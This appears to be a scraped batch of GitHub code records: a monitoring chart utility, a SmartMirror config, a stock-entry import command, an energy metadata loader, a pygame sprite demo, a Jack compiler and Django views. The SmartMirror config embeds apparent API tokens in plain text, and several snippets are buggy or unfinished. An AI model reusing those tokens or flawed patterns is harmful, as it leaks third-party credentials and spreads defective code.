1)',\n 'holding': 'rgba(255, 153, 51, 1)',\n 'transferring': 'rgba(52, 169, 52, 1)',\n 'merging': 'rgba(52, 169, 52, 1)',\n 'finished': 'rgba(32, 127, 32, 1)',\n 'failed': 'rgba(255, 0, 0, 1)',\n 'cancelled': 'rgba(230, 115, 0, 1)',\n 'closed': 'rgba(74, 74, 74, 1)'\n}\n\nerrors_diag_fields_list = ['brokerageerrordiag', 'ddmerrordiag', 'exeerrordiag', 'jobdispatchererrordiag',\n 'piloterrordiag', 'superrordiag', 'taskbuffererrordiag']\n\ndef prepare_data_for_main_chart(data):\n labels = fixed_statuses\n values = [data[status] for status in fixed_statuses]\n\n return {\n 'labels': labels,\n 'datasets': [\n {\n 'data': values,\n 'backgroundColor': [status_colors[status] for status in fixed_statuses],\n }\n ]\n }\ndef prepare_data_for_pie_chart(data):\n labels = list(data.keys())\n values = [data[label] for label in labels]\n return {\n 'labels': labels,\n 'datasets': [\n {\n 'data': values,\n 'backgroundColor': [status_colors[label] for label in labels],\n 'borderColor': [status_colors[label] for label in labels],\n }\n ]\n }\ndef update_errors_list(job, jobs_info_errors_dict):\n jobs_info_errors_dict[job['jobid']] = {}\n jobs_info_errors_dict[job['jobid']]['errors'] = []\n for field in errors_diag_fields_list:\n if job[field] != 'NULL':\n error_field = field.replace(\"diag\", \"\")\n error_code_field = field.replace(\"diag\", \"code\")\n\n jobs_info_errors_dict[job['jobid']]['errors'].append({\n 'timestamp': job['@timestamp'],\n 'error_type': error_field,\n 'code': job.get(error_code_field, \"None\"),\n 'text': job.get(field, \"None\")\n })\n return jobs_info_errors_dict\n\ndef create_new_errors_list(job):\n jobs_info_errors_dict = {}\n jobs_info_errors_dict[job['jobid']] = {}\n jobs_info_errors_dict[job['jobid']]['errors'] = []\n for field in errors_diag_fields_list:\n if job[field] != 'NULL':\n error_field = field.replace(\"diag\", \"\")\n error_code_field = field.replace(\"diag\", \"code\")\n\n jobs_info_errors_dict[job['jobid']]['errors'].append({\n 'timestamp': job['@timestamp'],\n 'error_type': error_field,\n 'code': job.get(error_code_field, \"None\"),\n 'text': job.get(field, \"None\")\n })\n\n return jobs_info_errors_dict","repo_name":"PanDAWMS/panda-bigmon-core","sub_path":"core/kafka/utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":3235,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"69"} +{"seq_id":"10609630787","text":"#!/usr/bin/python3\ndef print_last_digit(number):\n execution = 0\n if number < 0:\n number *= -1\n execution = 1\n last = number % 10\n if execution == 1:\n number *= -1\n print(\"{:d}\".format(last), end=\"\")\n return last\n","repo_name":"joepiuls/alx-higher_level_programming","sub_path":"0x01-python-if_else_loops_functions/9-print_last_digit.py","file_name":"9-print_last_digit.py","file_ext":"py","file_size_in_byte":247,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"69"} +{"seq_id":"3440344937","text":"# User specific settings for configuration\nUSER_FIRST_NAME=\"Ben\"\nGEO_IP_TOKEN = '9e3dd33fa5a321f55fffa91eb39ff13e'\nWEATHER_API_TOKEN = 'fd7b89f72fd29be98d6c2d75a4ca5156'\n\n# UI config\nUI_LOCALE = '' # e.g. 'fr_FR' fro French, '' as default\nWEATHER_LANG = 'en' # see https://darksky.net/dev/docs/forecast for full list of language parameters values\nWEATHER_UNIT = 'us'\nTEMPERATURE_UNIT = 'F' # F or C or K\nTIME_FORMAT=12 # 12 or 24\n\n# SPOTIFY config\nSPOTIFY_USERNAME = 'brdimattia'\nSPOTIFY_MARKET=\"US\"\n\n# TRANSIT config\nTRANSIT_LINE=\"D LINE TRAIN\" \nTRANSIT_STOP_ID=\"place-bvmnl\"\n\n\n","repo_name":"brdimattia/SmartMirror","sub_path":"src/python/constants/user_config.py","file_name":"user_config.py","file_ext":"py","file_size_in_byte":579,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"69"} +{"seq_id":"10994362662","text":"def run_gen(player_list):\n # Initialisation des IA\n ia_population = []\n for i in range(100):\n for i in range(5):\n player_list = {\n 'name': f\"IA {i + 1}\",\n 'budget': 1000000,\n 'score': 0,\n 'fame': 0,\n 'inventory': {\n 'artists': [],\n 'scenes': [],\n 'events': []\n }\n }\n\n # Boucle de jeu\n for _ in range(10):\n carte_en_jeu = ...\n\n for ia in ia_population:\n decision = ia.prendre_decision_enchere(carte_en_jeu)\n if decision:\n # L'IA choisit de monter l'enchère\n ...\n\n ...\n\n ...\n\n\njouer_jeu()\n","repo_name":"Vico-de/LineUp","sub_path":"Run genetic.py","file_name":"Run genetic.py","file_ext":"py","file_size_in_byte":755,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"69"} +{"seq_id":"40853435285","text":"from asset.admin import DividendAdmin\nfrom django.core.management.base import BaseCommand\nfrom django.conf import settings\nfrom asset.models import Dividend, Entry, Stock, ReasonWinLoss\nfrom datetime import datetime\nimport requests\nimport pprint\nimport logging\nlogger = logging.getLogger('django')\n\n\n# BaseCommandを継承して作成\nclass Command(BaseCommand):\n # python manage.py help count_entryで表示されるメッセージ\n help = 'Get Entry data'\n\n MAPPING_STATUS = {\n \"013_ブレイク狙い_追いかけ\": \"01.BeforeEntry\",\n \"023_トレンド狙い_追いかけ\": \"01.BeforeEntry\",\n \"022_トレンド狙い_監視\": \"01.BeforeEntry\",\n \"021_トレンド狙い_押し目待ち\": \"01.BeforeEntry\",\n \"012_ブレイク狙い_監視\": \"01.BeforeEntry\",\n \"011_ブレイク狙い_寸前\": \"01.BeforeEntry\",\n \"00_EntryPlan\": \"01.BeforeEntry\",\t\n \"9_リバランス検討\": \"11.Open\",\n \"8_積立中\": \"11.Open\",\n \"7_天井探り\": \"11.Open\",\n \"6_判断中(含み益)\": \"11.Open\",\n \"5_判断中(含み損)\": \"11.Open\",\n \"4_上昇トレンド乗り\": \"11.Open\",\n \"3_売り逃げ判断\": \"11.Open\",\n \"2_急騰\": \"11.Open\",\n \"1_swing\": \"11.Open\",\n }\n\n # コマンドが実行された際に呼ばれるメソッド\n def handle(self, *args, **options):\n url = \"https://www.fk-management.com/drm/web/entry/?limit=100\"\n data_list = list()\n error_list = list()\n while True:\n r = requests.get(url)\n if not r.status_code == 200:\n raise Exception(f\"Status code should be 200 but {r.status_code}\")\n json_data = r.json()\n self.stdout.write(self.style.SUCCESS(\"Entry: {}\".format(json_data['count'])))\n for r in json_data['results']:\n try:\n self.stdout.write(\"============\")\n self.stdout.write(\"------response------\")\n pprint.pprint(r)\n # prepare dict\n self.stdout.write(\"------data------\")\n if Stock.objects.filter(code=r['stock']['code']).exists():\n stock = Stock.objects.get(code=r['stock']['code'])\n else:\n # to simplify the command, the command does not create Stock data.\n self.stdout.write(\n f\"Skipped Entry of legacy_id={r['id']} because Stock {r['stock']['code']} does not exist\"\n )\n continue\n # reason_win_loss\n\n # status\n if r['status'] is None:\n status = \"91.Others\"\n else:\n status = self.MAPPING_STATUS[r[\"status\"][\"status\"]]\n # dict\n d = {\n \"legacy_id\": r[\"id\"], \n \"stock\": stock,\n \"is_closed\": r[\"is_closed\"],\n \"is_nisa\": r[\"is_nisa\"],\n \"is_plan\": r[\"is_plan\"],\n \"status\": status,\n \"reason_win_loss\": None,\n \"entry_type\": r[\"entry_type\"],\n \"border_loss_cut\": r[\"border_loss_cut\"],\n \"border_profit_determination\": r[\"border_profit_determination\"],\n \"val_plan\": r[\"val_plan\"],\n \"num_plan\": r[\"num_plan\"],\n \"memo\": r[\"memo\"],\n }\n pprint.pprint(d)\n # tranlate dict into Entry\n self.stdout.write(\"------entry------\")\n if not Entry.objects.filter(legacy_id=r['id']).exists():\n entry = Entry(**d)\n # Add\n data_list.append(entry)\n pprint.pprint(entry.__dict__)\n else:\n entry = Entry.objects.get(legacy_id=r[\"id\"])\n # dividend\n url_dividend = f\"https://www.fk-management.com/drm/web/dividend/?entry={r['id']}\"\n r_dividend = requests.get(url_dividend)\n if r_dividend.status_code == 200:\n json_data_dividend = r_dividend.json()\n for rd in json_data_dividend['results']:\n dd = {\n \"legacy_id\": rd[\"id\"],\n \"date\": rd[\"date\"],\n \"val_unit\": rd[\"val_unit\"],\n \"unit\":rd[\"unit\"],\n \"val\": rd[\"val\"],\n \"tax\": rd[\"tax\"],\n \"entry\": entry\n }\n if Dividend.objects.filter(legacy_id=rd[\"id\"]).exists():\n dividends = Dividend.objects.filter(legacy_id=rd[\"id\"])\n dividends.update(**dd)\n self.stdout.write(self.style.SUCCESS(f\"Updated Dividend {dividends} successfully\"))\n else:\n dividend = Dividend.objects.create(**dd)\n self.stdout.write(self.style.SUCCESS(f\"Created Dividend {dividend} successfully\"))\n # check updates\n updated_at = datetime.strptime(r['updated_at'], \"%Y-%m-%dT%H:%M:%S.%f%z\")\n if entry.last_updated_at > updated_at:\n # update\n self.stdout.write(f\"Update existing data of Legacy ID {r['id']}\")\n else:\n # skip \n self.stdout.write(f\"Skip existing data of Legacy ID {r['id']}\")\n continue\n except Exception as e:\n error_list.append({\"msg\": e, \"data\": r})\n self.stderr.write(str(e))\n if not json_data['next']:\n self.stdout.write(\n (\"=================={}/{}====================\".format(len(data_list), json_data['count']))\n )\n break\n url = json_data['next']\n # Print Error List\n if error_list:\n self.stdout.write(\"====================\")\n pprint.pprint(error_list)\n # Bulk Create\n Entry.objects.bulk_create(data_list)\n\n# {\n# \"id\": 10,\n# \"created_at\": \"2020-07-04T14:25:47.769408+09:00\",\n# \"updated_at\": \"2020-08-14T21:18:25.063523+09:00\",\n# \"code\": \"1813\",\n# \"name\": \"(株)不動テトラ\",\n# \"is_trust\": false,\n# \"market\": \"東証1部\",\n# \"industry\": \"建設業\",\n# \"fkmanage_id\": 12,\n# \"feature\": \"不動建設の土木部門とテトラが合併。海上土木が得意、地盤改良と2本柱。独自工法に強み\",\n# \"consolidated_business\": \"【連結事業】土木47(4)、地盤改良47(9)、ブロック5(13)、他0(3)(2020.3)\",\n# \"settlement_date\": \"3月末日\",\n# \"unit\": \"100株\",\n# \"dividend\": 55,\n# \"dividend_yield\": 3.91,\n# \"is_listed\": true\n# }","repo_name":"takashifuruya0/fk_management","sub_path":"asset/management/commands/get_entry.py","file_name":"get_entry.py","file_ext":"py","file_size_in_byte":7458,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"69"} +{"seq_id":"29245264842","text":"import json\nimport logging\nfrom dataclasses import dataclass, field\nfrom json import JSONDecodeError\nfrom typing import List, Dict\n\nimport requests\nimport yaml\nfrom pyld import jsonld\nfrom yaml import YAMLError\n\nfrom icebreakerone.trust.raidiam import AuthorisationServer\n\nLOG = logging.getLogger('icebreakerone.trust.metadata')\n\n#: Data Catalogue namespace\nDCAT = 'http://www.w3.org/ns/dcat#'\n\n#: Dublin Core namespace\nDC = 'http://purl.org/dc/terms/'\n\n#: Open Energy ontology namespace\nOE = 'http://energydata.org.uk/oe/terms/'\n\n\nclass Metadata:\n \"\"\"\n Representation of the information held in a data set metadata file, as defined in\n https://icebreakerone.github.io/open-energy-technical-docs/main/metadata.html - this\n implementation will track the spec, but may not be complete, we'll build capabilities\n into it as and when we need them.\n\n Currently models the content part of the metadata file as a `JSONLDContainer`\n \"\"\"\n\n def __init__(self, d: Dict):\n \"\"\"\n Create a new metadata container. Currently just parses the ``content`` section\n of the metadata file.\n\n :param d:\n a dict containing the four top level keys from the metadata spec\n :raises ValueError:\n if the structure of the dict is invalid in some way\n \"\"\"\n errors = []\n\n if 'content' not in d:\n errors.append('no content section defined')\n else:\n # Attempt to parse the JSON-LD content\n try:\n self.content = JSONLDContainer(d['content'])\n # Complain if we don't have the necessary mandatory values present in the content section\n self.content.require_values({DCAT: ['version', 'versionNotes'],\n DC: ['title', 'description'],\n OE: ['sensitivityClass', 'dataSetStableIdentifier']})\n except ValueError as ve:\n errors.append(f'failed JSON-LD validation with error {str(ve)}')\n\n def require_dict(keyname: str, error_list):\n if keyname not in d:\n error_list.append(f'no {keyname} section defined')\n else:\n result = d[keyname]\n if not isinstance(result, dict):\n error_list.append(f'{keyname} does not contain nested dict content, value was \"{d[keyname]}\"')\n else:\n return result\n\n def require_list(keyname: str, error_list):\n if keyname not in d:\n error_list.append(f'no {keyname} section defined')\n else:\n result = d[keyname]\n if not isinstance(result, list):\n error_list.append(f'{keyname} does not contain nested list content, value was \"{d[keyname]}\"')\n else:\n return result\n\n self.transport = require_dict('transport', errors)\n self.access = require_list('access', errors)\n self.representation = require_dict('representation', errors)\n\n # Check for invalid top level tags\n for key in d:\n if key not in ['content', 'access', 'transport', 'representation']:\n errors.append(f'unknown top level key \"{key}\" in metadata file')\n\n # If we have errors, raise ValueError with all the error messages\n if errors:\n raise ValueError('; '.join(errors))\n\n @property\n def mime(self) -> str:\n \"\"\"\n representation / mime\n \"\"\"\n if 'mime' in self.representation:\n return self.representation['mime']\n return ''\n\n @property\n def stable_identifier(self) -> str:\n \"\"\"\n content / oe:dataSetStableIdentifier\n \"\"\"\n return self.content.get(OE, 'dataSetStableIdentifier')\n\n @property\n def data_sensitivity_class(self) -> str:\n \"\"\"\n content / oe:sensitivityClass [OE-O|OE-SA|OE-SB]\n \"\"\"\n return self.content.get(OE, 'sensitivityClass')\n\n @property\n def keywords(self) -> List[str]:\n \"\"\"\n content / dcat:keywords\n \"\"\"\n keywords = self.content.get(DCAT, 'keyword', default=[])\n if not isinstance(keywords, list):\n # If there's a single keyword, wrap it up in a list\n keywords = [keywords]\n return keywords\n\n @property\n def title(self) -> str:\n \"\"\"\n content / dc:title\n \"\"\"\n return self.content.get(DC, 'title')\n\n @property\n def description(self):\n \"\"\"\n content / dc:description\n \"\"\"\n return self.content.get(DC, 'description')\n\n @property\n def version(self):\n \"\"\"\n content / dcat:version\n \"\"\"\n return self.content.get(DCAT, 'version')\n\n @property\n def version_notes(self):\n \"\"\"\n content / dcat:versionNotes\n \"\"\"\n return self.content.get(DCAT, 'versionNotes')\n\n def __repr__(self):\n return f'Metadata(id={self.stable_identifier}, oe:class={self.data_sensitivity_class}, title={self.title}, ' \\\n f'description={self.description}, version={self.version}, keywords={self.keywords})'\n\n\nclass JSONLDContainer:\n \"\"\"\n Wraps up the data structure returned by jsonld.expand and adds some convenience\n methods to query properties within it\n \"\"\"\n\n def __init__(self, d: Dict):\n # Expand out any namespace prefixes defined in the context\n self.ld = jsonld.expand(d)[0]\n\n def require_values(self, d: Dict[str, List[str]]):\n \"\"\"\n Require that this container has the specified values, defined as a dict of namespace to list of terms.\n\n :param d:\n Dict of str namespace to list of str terms that must be present\n :raises:\n ValueError if any specified values are not present in this container\n \"\"\"\n\n def missing_values():\n for ns, terms in d.items():\n for term in terms:\n fterm = f'{ns}{term}'\n if fterm not in self.ld:\n yield fterm\n\n missing = list(missing_values())\n if missing:\n raise ValueError(f'container is missing required values {\", \".join(missing)}')\n\n def get(self, namespace: str, term: str, default=None):\n \"\"\"\n Get a property, handles looking for the @value entries\n within an expanded JSON-LD dictionary\n\n :param namespace:\n namespace for term to find\n :param term:\n term within that namespace\n :param default:\n default value to return if term isn't present, defaults to None\n :return:\n value of term, can be single item if only one value present or list if multiple\n \"\"\"\n try:\n values = self.ld[namespace + term]\n if len(values) == 1:\n return values[0]['@value']\n return [item['@value'] for item in values]\n except KeyError or IndexError:\n return default\n\n @property\n def type(self):\n \"\"\"\n ``@type`` of the entity described\n \"\"\"\n if '@type' in self.ld:\n return self.ld['@type'][0]\n return None\n\n\n@dataclass\nclass MetadataLoadResult:\n \"\"\"\n Information about the process of loading a metadata file from a URL or file location along\n with the results. This is used instead of raising exceptions during the load process in order\n to provide better reporting with mappings between org IDs and problems with their respective\n metadata files.\n \"\"\"\n location: str = None\n error: str = None\n exception: Exception = None\n metadata: List[Metadata] = field(default_factory=list)\n server: AuthorisationServer = None\n metadata_records_found: int = 0\n\n def __repr__(self):\n from pprint import pformat\n return pformat(vars(self), indent=4, width=1)\n\n\ndef load_yaml_from_bytes(b: bytes, convert_tabs_to_spaces=True):\n \"\"\"\n Attempt to load YAML from a set of bytes.\n\n :param b:\n bytes to load\n :param convert_tabs_to_spaces:\n if True (default), an initial failure to load YAML will be retried after converting all\n tab characters in the input to double spaces. This is done after converting the bytes to\n a string with UTF8 encoding, and after the tabs are stripped the string is encoded back\n to UTF8 bytes before passing back to the yaml loader\n :return:\n yaml parsed as a dict\n :raises:\n YAMLError if unable to parse the input bytes\n \"\"\"\n try:\n result = yaml.safe_load(b)\n return result\n except YAMLError as ye:\n if convert_tabs_to_spaces:\n new_bytes: bytes = b.decode('UTF8').replace('\\t', ' ' * 2).encode('UTF8')\n result = yaml.safe_load(new_bytes)\n LOG.warning('YAML file parse passed after removing tabs, technically not valid but continuing...')\n return result\n else:\n raise ye\n\n\ndef load_metadata(server: AuthorisationServer = None, url: str = None, file: str = None, session=None,\n convert_tabs_to_spaces=True,\n **kwargs) -> MetadataLoadResult:\n \"\"\"\n Load metadata from a URL.\n\n :param server:\n `AuthorisationServer` from which this url was retrieved, or None if fetching directly\n :param url:\n url from which to load metadata\n :param file:\n file path from which to load metadata, use either this or url, not both\n :param session:\n if specified, use this `requests.Session`, if not, create a new one\n :param convert_tabs_to_spaces:\n normally YAML is invalid if it uses tab characters as indentation. If this argument is set to true, a second\n attempt will be made to parse the file if a scanner error occurs, first doing a global search and replace to\n change all tab characters to double spaces. Defaults to False, as this isn't really 'allowed' according to the\n spec.\n :param kwargs:\n any additional arguments to pass into the get request\n :return:\n a `MetadataLoadResult` containing a report on the process, including actual `Metadata` objects if\n the load succeeded and found any metadata.\n \"\"\"\n\n if file is not None and url is not None:\n return MetadataLoadResult(location=f'file:{file} and {url}',\n error='must provide exactly one of \"file\" or \"url\"',\n server=server)\n if url is not None:\n LOG.debug(f'loading metadata from url = {url}')\n # Use supplied session, or build a new one\n if session is None:\n session = requests.session()\n\n try:\n # Fetch data from the specified URL\n response = session.get(url=url, **kwargs)\n # If any errors occurred, raise the corresponding HTTPError\n response.raise_for_status()\n except Exception as he:\n return MetadataLoadResult(location=url, error='unable to retrieve metadata file', exception=he,\n server=server)\n try:\n result = response.json()\n except ValueError:\n # Not a problem, try YAML\n LOG.debug(f'url={url} not valid JSON, trying YAML')\n try:\n result = load_yaml_from_bytes(response.content)\n LOG.debug(f'url={url} parsed as YAML')\n except YAMLError as ye:\n LOG.error(f'unable to parse metadata file from url={url} as either JSON or YAML')\n # Not YAML either, or not a dialect we can handle\n return MetadataLoadResult(location=url,\n error='unable to parse metadata file as either JSON or YAML',\n exception=ye, server=server)\n elif file is not None:\n LOG.debug(f'loading metadata from file = {file}')\n # Read from file on disk\n try:\n with open(file, 'rb') as f:\n s = f.read()\n try:\n result = json.loads(s)\n except JSONDecodeError:\n LOG.debug(f'file={file} not valid JSON, trying YAML')\n try:\n result = load_yaml_from_bytes(s)\n LOG.debug(f'file={file} parsed as YAML')\n except YAMLError as ye:\n LOG.error(f'unable to parse metadata file from file={file} as either JSON or YAML')\n # Not YAML either, or not a dialect we can handle\n return MetadataLoadResult(location=f'file:{file}',\n error='unable to parse metadata file as either JSON or YAML',\n exception=ye, server=server)\n except IOError as ioe:\n return MetadataLoadResult(location=f'file:{file}',\n error='unable to load metadata file from disk',\n exception=ioe, server=server)\n else:\n return MetadataLoadResult(location='NONE', error='must specify either file or url', server=server)\n\n location = f'{file}' if file else url\n\n if isinstance(result, list):\n LOG.debug(f'fetched and parsed location={location}, contains {len(result)} items')\n errors = []\n try:\n def build_metadata():\n for index, item in enumerate(result):\n try:\n yield Metadata(item)\n except ValueError as ve:\n errors.append(f'Unable to parse metadata item {index} : {str(ve)}')\n\n metadata_items = list(build_metadata())\n if errors:\n raise ValueError('. '.join(errors))\n return MetadataLoadResult(location=location, metadata=metadata_items, server=server,\n metadata_records_found=len(result))\n except ValueError as ve:\n return MetadataLoadResult(location=location, error='invalid metadata description', exception=ve,\n server=server, metadata_records_found=len(result))\n\n # No list item, this is a failure\n return MetadataLoadResult(location=location, error='metadata does not contain a list as top level item',\n server=server)\n","repo_name":"icebreakerone/open-energy-python-infrastructure","sub_path":"icebreakerone/trust/metadata.py","file_name":"metadata.py","file_ext":"py","file_size_in_byte":14524,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"69"} +{"seq_id":"4426407478","text":"import pygame, sys, random, time\r\nfrom pygame.locals import *\r\n\r\nclass SpriteSheet(object):\r\n def __init__(self, file_name):\r\n self.sprite_sheet=pygame.image.load(file_name).convert()\r\n\r\n def get_image(self, x,y, width, height):\r\n image = pygame.Surface([width,height]).convert()\r\n image.blit(self.sprite_sheet, (0,0), (x,y,width, height))\r\n image.set_colorkey((0,0,0))\r\n return image\r\n \r\n def get_animate(self,frames_to_get,startX,width,height):\r\n #this function makes the 'animation'\r\n self.frames = []\r\n x = startX\r\n y = 0\r\n print(\"animating\")\r\n for i in range(frames_to_get):\r\n print(i, \"frame\")\r\n image = self.get_image(x,y,width,height)\r\n self.frames.append(image)\r\n x=x+width\r\n print(self.frames)\r\n self.counter= 0\r\n \r\n def animate(self):#this function does not work\r\n for x in self.frames:\r\n screen.blit(x,(200,200))\r\n pygame.display.update()\r\n\r\n def update(self): #calling this each iteration makes them advance one frame\r\n #in the created animation\r\n self.max = len(self.frames)\r\n screen.blit(self.frames[self.counter],(200,200))\r\n self.counter=self.counter+1\r\n if self.counter >= self.max:\r\n self.counter = 0\r\n \r\n\r\npygame.init()\r\nheight = 1000\r\nwidth = 1000\r\nsize = height,width\r\nclock = pygame.time.Clock()\r\n\r\n\r\nscreen = pygame.display.set_mode(size)\r\nss = SpriteSheet(\"Slime_spacee.png\")\r\nss.get_image(0,0,32,32)\r\nss.get_animate(6,0,32,32)\r\nwhile True:\r\n\r\n for event in pygame.event.get():\r\n if event.type == QUIT:\r\n pygame.quit()\r\n sys.exit()\r\n screen.fill((0,0,0))\r\n objects_to_update.update()\r\n\r\n\r\n\r\n\r\n #should probs be last always\r\n #submits all prior changes to the screen\r\n #time.sleep(.05)\r\n clock.tick(5)\r\n pygame.display.update()\r\n","repo_name":"TheSpanglerMethod/Glucose_Guardian","sub_path":"SDEV140 group 3/updates ts 11-20/updates 11-20 8:51AM/shell.py","file_name":"shell.py","file_ext":"py","file_size_in_byte":1975,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"69"} +{"seq_id":"33994233811","text":"\nfrom Logic.Boat import Boat\nfrom Storage.SQLiteStorage import SQLiteStorage\n\nclass BoatGhost(Boat):\n def __init__(self, name, filename, distance=0):\n super(BoatGhost, self).__init__(name, distance)\n self.storage = SQLiteStorage(filename)\n\n def move(self, timeGone):\n data = self.storage.getDataTuple(timeGone)\n if not data == None:\n self.distance = data[0]\n self.pace = data[2]\n","repo_name":"monsdar/dynrow","sub_path":"Boats/BoatGhost.py","file_name":"BoatGhost.py","file_ext":"py","file_size_in_byte":435,"program_lang":"python","lang":"en","doc_type":"code","stars":15,"dataset":"github-code","pt":"69"} +{"seq_id":"35025840809","text":"import sys\nfrom JackTokenizer import JackTokenizer\nfrom CompilationEngine import CompilationEngine\nimport os\nfrom os import walk\n\n\ndef main(argv):\n file_names = []\n consol_input = argv[0]\n\n if '.jack' in consol_input:\n file_names.append(consol_input)\n elif os.path.isdir(consol_input):\n for (dirpath, _, filenames) in walk(consol_input):\n file_names.extend(filter(lambda x: '.jack' in x, [(dirpath + ('/' if dirpath[-1] != '/' else '') + filename) for filename in filenames]))\n else:\n print('please enter .jack file or directory with .jack files')\n return\n \n\n for file_name in file_names:\n tokenizer = JackTokenizer(file_name)\n \n output_file_name = file_name[:file_name.index('.jack')] + '.vm'\n compile_engine = CompilationEngine(tokenizer, output_file_name)\n compile_engine.compile_class()\n\nif __name__ == \"__main__\":\n main(sys.argv[1:])\n\n\n# python3 JackCompiler.py Average/\n# python3 JackCompiler.py ComplexArrays/\n# python3 JackCompiler.py ConvertToBin/\n# python3 JackCompiler.py Pong/\n# python3 JackCompiler.py Seven/\n# python3 JackCompiler.py Square/\n","repo_name":"dpipi17/Nand2Tetris","sub_path":"projects/11/JackCompiler.py","file_name":"JackCompiler.py","file_ext":"py","file_size_in_byte":1154,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"69"} +{"seq_id":"2594474566","text":"from ftplib import parse257\nfrom pickle import TRUE\nfrom sqlite3 import register_converter\nfrom django.db.models import query\nfrom django.forms.fields import EmailField\nfrom django.utils.decorators import method_decorator\nfrom django.contrib.auth.decorators import login_required\nfrom django.shortcuts import render, get_object_or_404, redirect\nfrom django.template import loader\nfrom django.http import HttpResponse, HttpResponseRedirect\nfrom django import template\nfrom .forms import *\nfrom .models import *\n\n# from import SingleTableView\n\n# from .tables import TherapyTable, CommunicationTable\nfrom django.contrib import messages\n\n# from .filters import *\nfrom django.views.generic import ListView, DetailView\nfrom django.http import JsonResponse\nimport json\nimport datetime\nfrom django.forms import modelformset_factory\n\n# from .test import *\n\nfrom django.forms.models import model_to_dict\n\n# from bootstrap_datepicker_plus.widgets import DatePickerInput, TimePickerInput, DateTimePickerInput, MonthPickerInput, YearPickerInput\nfrom django.forms import formset_factory\n\n# email\nfrom django.core.mail import send_mail\n\n# from settings import BASE_DIR, EMAIL_HOST_USER\n# email\nfrom django.core import serializers\nfrom django.utils import timezone\nfrom django.template import RequestContext\nfrom django.db import connection\nfrom datetime import date, timedelta\nfrom .interpolator import *\n\n# import matplotlib as plt\n# import matplotlib.pyplot as plt\nimport io\nimport base64\nfrom .importJobs.salesNames import *\nfrom .importJobs.vhkl import *\nfrom .importJobs.Dragon import *\nfrom .importJobs.generalDb import *\nfrom .queryJobs.boupDataOverview import *\nfrom .queryJobs.warnings import *\nfrom .queryJobs.SQL_query import *\nfrom .editViews import *\n\n####\nfrom rest_framework.permissions import IsAuthenticated\nfrom rest_framework.authentication import SessionAuthentication, BasicAuthentication\nfrom rest_framework import viewsets\nfrom rest_framework import permissions\nfrom rest_framework import status\nfrom rest_framework.views import APIView\nfrom rest_framework.decorators import api_view\nfrom rest_framework.response import Response\n\nimport time\nfrom .excelFormInputValidator import checkExcelFormInput, TypeOfParameter\n\n# from .diagnosis import decode, decodePrivateInsurers\n# from .scan import *\n# from .ocr import ocrscan\n# from .suitability import physioSuitability\nfrom productMarketingDwh.models import *\nfrom enum import Enum\nfrom .importJobs.vrfcImport import *\nfrom .importJobs.productImport import *\nfrom .BoUpExport import protectCellsInExcel\n\n\nclass operatingSystem(Enum):\n macOs = 1\n windows = 2\n linux = 3\n\n\n# just for testing , can be deleted\n\n\n@login_required(login_url=\"/login/\")\ndef boupExportFile(request):\n protectCellsInExcel(None)\n message = \"test123\"\n return JsonResponse(message, safe=False)\n\n\n# template for sending mails, if required.\n\n\n@login_required(login_url=\"/login/\")\ndef testmail(request):\n subject = \"TrainingData\"\n\n # obj = ExcerciseSet.objects.get(pk=2)\n message = serializers.serialize(\n \"json\",\n [\n obj,\n ],\n )\n print(\"message\", message)\n # message = 'Hope you are enjoying your Django Tutorials'\n recepient = \"fran.falise@gmail.com\"\n print(\"email host\", EMAIL_HOST_USER)\n send_mail(subject, message, EMAIL_HOST_USER, [recepient], fail_silently=False)\n return JsonResponse(message, safe=False)\n\n\ndef dictfetchall(cursor):\n \"Return all rows from a cursor as a dict\"\n columns = [col[0] for col in cursor.description]\n return [dict(zip(columns, row)) for row in cursor.fetchall()]\n\n\ndef rawSqlPerformer(sql):\n with connection.cursor() as cursor:\n cursor.execute(sql)\n row = dictfetchall(cursor)\n return row\n\n\ndef testRawQuery():\n # sql = \"SELECT DISTINCT salesName, mainCustomer, endCustomer FROM productMarketingDwh_boup LEFT OUTER JOIN project_salesname ON (productMarketingDwh_boup.salesname = project_salesname.name)\"\n # this is the nomenclautre\n # sql = 'SELECT DISTINCT \"reviewDate\", \"mainCustomer\", \"endCustomer\" FROM public.\"productMarketingDwh_boup\"'\n # distinctBoUpMcEcRfpCombinations = rawSqlPerformer(sql)\n\n sql = 'SELECT COUNT (*) FROM public.\"project_product\"'\n distinctBoUpMcEcRfpCombinations = rawSqlPerformer(sql)\n\n print(\"################ distinctBoUpMcEcRfpCombinations\")\n print(distinctBoUpMcEcRfpCombinations)\n\n\n# for manual import job testing\n\n\n@login_required(login_url=\"/login/\")\ndef fullImports(request):\n # testRawQuery()\n\n runConfigImport(request)\n # print(\"all main customers\", MainCustomers.objects.all())\n # print(\"all final customers\", FinalCustomers.objects.all())\n\n # for customer in FinalCustomers.objects.all():\n # print(\"final customer\", customer, \"fk\", customer.mainCust)\n\n \"\"\"\n\n print(\"all projects\", Project.objects.all())\n allproj = Project.objects.all()\n print(\"objects\", allproj)\n \"\"\"\n #\n # objects = Project.objects.all()\n # print(\"objects -->\", objects)\n # print(\"!!!! running full imports\")\n # adolfRun()\n # importVrfcOohCsv()\n return HttpResponse(status=200)\n\n\n# for manual testing with postman\nclass salesNamesImportJob(APIView):\n permission_classes = [IsAuthenticated]\n authentication_classes = [BasicAuthentication]\n\n def get_object(self, request):\n try:\n print(\"putoelquelee1\")\n\n return JsonResponse(\"getobject\", safe=False)\n except:\n print(\"putoelquelee2\")\n raise Http404\n\n def get(self, request, format=None):\n # return JsonResponse('get', safe=False)\n data = \"asd\"\n # return Response(data, status=status.HTTP_200_OK)\n return JsonResponse(\n \" wurde addiert oder geaendert\", safe=False, status=status.HTTP_201_CREATED\n )\n\n def post(self, request, format=None):\n print(\"post!\")\n runSalesNameImport()\n\n return JsonResponse(\n \"ran import job!\", safe=False, status=status.HTTP_201_CREATED\n )\n\n\nclass vhklImportJob(APIView):\n permission_classes = [IsAuthenticated]\n authentication_classes = [BasicAuthentication]\n\n def get_object(self, request):\n try:\n 